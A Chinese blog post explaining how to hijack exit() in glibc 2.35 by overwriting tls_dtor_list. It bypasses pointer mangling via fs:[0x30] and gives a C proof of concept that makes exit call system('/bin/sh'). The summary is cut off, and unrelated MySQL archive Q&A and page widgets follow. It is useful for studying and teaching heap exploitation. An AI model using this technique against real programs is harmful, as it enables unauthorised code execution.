glibc2.35-通过tls_dtor_list劫持exit执行流程

前言

glibc2.35删除了malloc_hook、free_hook以及realloc_hook,通过劫持这三个hook函数执行system已经不可行了。

传统堆漏洞利用是利用任意地址写改上上述几个hook从而执行system,在移除之后则需要找到同样只需要修改某个地址值并且能够造成程序流劫持的效果。

__call_tls_dtors

在程序返回时会通过exit函数,exit函数会经历以下调用过程

exit
->
__run_exit_handlers
->
__call_tls_dtors

__call_tls_dtors函数中则存在着可以进行劫持的地址,__call_tls_dtors函数的执行如下:

  • • 判断tls_dtor_list为空

  • • 不为空则将tls_dtor_list赋值给cur

  • • 取出函数指针cur->func

  • • 通过PTR_DEMANGLE宏解密指针值

  • • 执行函数指针

void
__call_tls_dtors (void)
{
  while (tls_dtor_list)
    {
      struct dtor_list *cur = tls_dtor_list;
      dtor_func func = cur->func;
#ifdef PTR_DEMANGLE
      PTR_DEMANGLE (func);
#endif

      tls_dtor_list = tls_dtor_list->next;
      func (cur->obj);
      atomic_fetch_add_release (&cur->map->l_tls_dtor_count, -1);
      free (cur);
    }
}

通过上述流程可知,若能够劫持tls_dtor_list,则可以将cur->func指向的位置修改为system函数。具体取出tls_dtor_list的汇编语言如下

图片

 

  • • 首先取出tls_dtor_list的下标值,即rbx寄存器的值为0xffffffffffffffa8,转换为十进制为-88

  • • 而该下标是用fs进行寻址的,然后取出tls_dtor_list的值判断是否为空

图片

那么假设已经存在任意地址写的漏洞,并且将tls_dtor_list修改为不是空值,看看后续会进入哪些校验流程

图片

首先遇到第一个问题,在后续的流程中需要将tls_dtor_list的内容作为指针值进行索引,因此我们不能够直接将system函数的地址写入tls_dtor_list,而是需要将指向system函数的指针写入。即在堆题中,我们新创建一个堆,并在堆内容写入system函数的地址,然后将堆地址填充到tls_dtor_list

图片

根据上述的方法,我们成功进入后续的流程

图片

但是在执行函数执行时,会遇到另一个问题,最后的指针值被修改为乱七八糟的值了。

图片

这是因为上述的宏定义PTR_DEMANGLE,需要将函数指针进入一个解密的流程,因此在传递指针值时,需要先传递一个加密后的指针值。解密的流程如下,

先将指针循环右移0x11,然后与fs:[0x30]进行异或。循环右移比较好解决,先将指针循环左移即可。但是这个异或值则需要获得fs:[0x30]的值。

   0x7ffff7c45d88 <__call_tls_dtors+40>    ror    rax, 0x11
   0x7ffff7c45d8c <__call_tls_dtors+44>    xor    rax, qword ptr fs:[0x30]

也可以看到这个值是一个八字节的随机值,因此通过爆破获得的可能性不大。

图片

那么该攻击方法需要的一个要求就是能够获得该随机值或者能够篡改该值。需要注意点是指针值是先循环右移在异或,因此在加密指针时需要先异或在循环左移。那么解决上述问题之后就能够正确调用地址了,此时就应该考虑该函数指针需要如何传参。可以看到下图,rdi寄存器是通过我们传入的指针值作为基地址进行寻址的,只需要在偏移加8的位置填充/bin/sh的地址值即可。

图片

POC

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

unsigned long long rotate_left(unsigned long long value, int left)
{
    return (value << left) | (value >> (sizeof(unsigned long long) * 8 - left));
}


int main() {
    unsigned long long fs_base;
    unsigned long long index = 0xffffffffffffffa8;
    unsigned long long tls_dtor_list_addr;
    unsigned long long random_number;
    void *system_ptr = (void *)&system;
    printf("system:%p\n",system_ptr);
    // 使用汇编嵌入获取FS寄存器的值
    asm("mov %%fs:0, %0" : "=r" (fs_base));
    printf("Value in FS register: 0x%llx\n", fs_base);
    tls_dtor_list_addr = fs_base - 88;
    random_number = *(unsigned long long *)(fs_base + 0x30);
    char *str_bin_sh = malloc(0x20);
    strcpy(str_bin_sh,"/bin/sh");
    void *ptr = malloc(0x20);
    *(unsigned long long *)ptr = rotate_left((unsigned long long)system_ptr ^ random_number,0x11);
    *(unsigned long long *)(ptr + 8)  = str_bin_sh;
    *(unsigned long long *)tls_dtor_list_addr = ptr;
    return 0;
}

总结

简单总结一下通过tls_dtor_list劫持exit执行流程的条件

  • • 存在任意地址写的漏洞利用

  • • 能够篡改或泄露fs_base + 0x30的值

  • • 程序会通过exit函数结束程序,若是通过_exit则不

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: 这两个文件都是MySQL 8.0.32的Linux版本,但它们的格式不同。mysql-8.0.32-linux-glibc2.12-x86_64.tar.xz是一种更有效的压缩格式,它可以减少文件的大小,但是你需要特定的解压缩工具才能解压它。mysql-8.0.32-linux-glibc2.12-x86_64.tar是一种普通的压缩格式,通常你可以使用标准的解压缩工具来解压它。 ### 回答2: mysql-8.0.32-linux-glibc2.12-x86_64.tar.xz和mysql-8.0.32-linux-glibc2.12-x86_64.tar的区别在于文件格式和压缩类型。 首先,mysql-8.0.32-linux-glibc2.12-x86_64.tar.xz是使用xz压缩工具对文件进行压缩而成的,而mysql-8.0.32-linux-glibc2.12-x86_64.tar则没有经过压缩。 其次,xz是一种高压缩率的文件压缩格式,可以将文件大小大大减小,节省存储空间。而未经过压缩的tar文件大小较大,保存在磁盘上需要更多的空间。 另外,xz压缩工具通常提供更好的压缩效率和速度,但解压缩所需的时间较长。相比之下,tar文件无需解压缩直接可以使用,更加方便。 在选择使用哪个文件时,需要根据具体的需求和环境来考虑。如果磁盘空间有限或需要节省存储空间,则可以选择使用已压缩的tar.xz文件。而如果磁盘空间充足,或需要更快速地使用该文件,则可以选择使用未经压缩的tar文件。 ### 回答3: mysql-8.0.32-linux-glibc2.12-x86_64.tar.xz 和mysql-8.0.32-linux-glibc2.12-x86_64.tar这两个文件的区别在于它们的文件格式。 首先,两个文件都是MySQL 8.0.32版本的安装包。这是一个常用的关系型数据库管理系统,用于存储和管理数据。 其次,两个文件的名称中包含的信息相同,都表示这是Linux操作系统上的MySQL 8.0.32版本。x86_64表示这个安装包适用于64位的x86架构。glibc2.12表示所需的glibc库的最低版本是2.12。 最重要的区别在于文件的扩展名。第一个文件是以.tar.xz结尾,而第二个文件则是以.tar结尾。 .tar是一种常见的打包格式。它是一种归档格式,可以将多个文件或文件夹打包成一个单独的文件。.tar文件可以使用tar命令进行解压和解包。 而.tar.xz格式则是在.tar文件的基础上进行了压缩。它使用XZ算法对.tar文件进行了压缩,使得文件更小,占用更少的存储空间。为了使用.tar.xz文件,需要事先安装xz工具,并使用tar和xz命令进行解压和解包。 因此,如果我们希望在Linux操作系统上安装MySQL 8.0.32,我们可以根据自己的需求选择这两个文件中的一个。如果我们对存储空间有要求,可以选择.tar.xz文件,但在使用之前需要先解压和解包。如果我们对存储空间没有特别要求,可以选择.tar文件,这样可以省去解压和解包的步骤。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值